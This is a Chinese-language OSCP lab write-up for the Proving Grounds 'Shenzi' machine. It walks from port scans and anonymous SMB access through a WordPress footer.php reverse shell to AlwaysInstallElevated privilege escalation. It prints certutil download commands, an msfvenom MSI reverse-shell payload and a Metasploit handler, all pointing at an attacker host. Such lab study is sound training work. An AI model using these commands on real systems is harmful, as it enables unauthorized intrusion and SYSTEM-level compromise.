OSCP Shenzi Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Shenzi

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

SMB 匿名访问 –> Wordpress 后台权限 –> 后台网页代码写入反弹 shell –> 系统 shenzi 用户权限 –> 用户旗帜

权限提升:

执行 Winpeas –> 注册表不安全配置,导致系统默认以 system 权限运行 msi –> msfvenom 生成注入反弹 shell 的 msi 程序 –> 运行程序得到系统 system 权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sudo nmap -p- 192.168.139.55 --min-rate=2000

PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
3306/tcp open mysql
5040/tcp open unknown
7680/tcp open pando-pub
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
sudo nmap -p21,80,135,139,443,445,3306,5040,7680,49664,49665,49666,49667,49668,49669 -sCV 192.168.139.55

PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd 0.9.41 beta
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
80/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-title: Welcome to XAMPP
|_Requested resource was http://192.168.115.55/dashboard/
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| http-title: Welcome to XAMPP
|_Requested resource was https://192.168.115.55/dashboard/
445/tcp open microsoft-ds?
3306/tcp open mysql MariaDB 10.3.24 or later (unauthorized)
5040/tcp open unknown
7680/tcp open tcpwrapped
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-09-15T14:25:38
|_ start_date: N/A

系统为 Windows 环境,开放有 HTTP、FTP、MYSQL 服务。

3.2 渗透测试突破边界

3.2.1 SMB 匿名访问泄漏 Wordpress 后台密码

靶机 HTTP 443、80 为 XAMPP for Windows 7.4.6 应用,历史没有暴露出可利用的 EXP,主页可点击跳转 phpinfo 和 phpmyadmin。

phpinfo 页面泄漏了一些版本、路径信息,未发现可利用的敏感信息和存在历史漏洞的插件。

phpmyadmin 设置有访问权限,尝试一些 403 bypass 仍无法访问。

继续枚举靶机其余服务,发现 SMB 服务可匿名访问 shenzi 目录。

1
smbmap -H 192.168.139.55 -u 'anonymous' -p 'anonymous'

将 SMB shenzi 目录文件下载至本地。

1
2
smbclient //192.168.139.55/Shenzi -U anonymous%anonymous
mget *

passwords.txt 文件发现 Wordpress admin 用户密码(其余均为默认密码)。

起初我们已经对 web 应用进行了目录枚举,并没有发现 Wordpress 应用,而在 SMB 服务枚举过程发现了 shenzi 目录,该目录是不是我们寻找的 Wordpress 路径呢?事实证明它确实是的。

这里卡了一段时间,尝试了各种枚举,有时候看似不起眼的信息,却是突破靶机的关键。

3.2.2 Wordpress 后台 Getshell

在 kali 使用 nc 开启监听。

1
rlwrap nc -lvnp 80

使用获取的密码登录 Wordpress 后台。

将 footer.php 修改为 php reverse shell,点击保存得到 shenzi 用户反弹 shell。

1
https://www.revshells.com/

3.2.3 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 安装 Msi 程序提权至系统 system(注册表 AlwaysInstallElevated 不安全配置)

上传 winpeas 工具,运行发现系统注册表 AlwaysInstallElevated 值为 1,说明系统中任意用户都可通过 system 权限运行安装 msi 程序,利用该配置可提升至系统 system 权限。

1
certutil -urlcache -split -f http://192.168.45.227/winPEASx64.exe

1
https://book.hacktricks.wiki/zh/windows-hardening/windows-local-privilege-escalation/index.html#alwaysinstallelevated

1
2
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

使用 msfvenom 生成注入反弹 shell 的 msi 程序。

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.227 LPORT=80 -f msi -o alwe.msi

通过 msf handler 模块监听 80 端口,然后将 msi 程序上传至靶机,运行后可得到靶机 system 权限反弹 shell。

1
certutil -urlcache -split -f http://192.168.45.227/alwe.msi
1
2
3
4
5
use exploit/multi/handler
set payload windows/shell_reverse_tcp
set lhost 192.168.45.227
set lport 80
run

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSCP Shenzi Write-up
https://www.f0nesec.top/2025/09/17/oscp-shenzi/
作者
F0ne
发布于
2025年9月17日
许可协议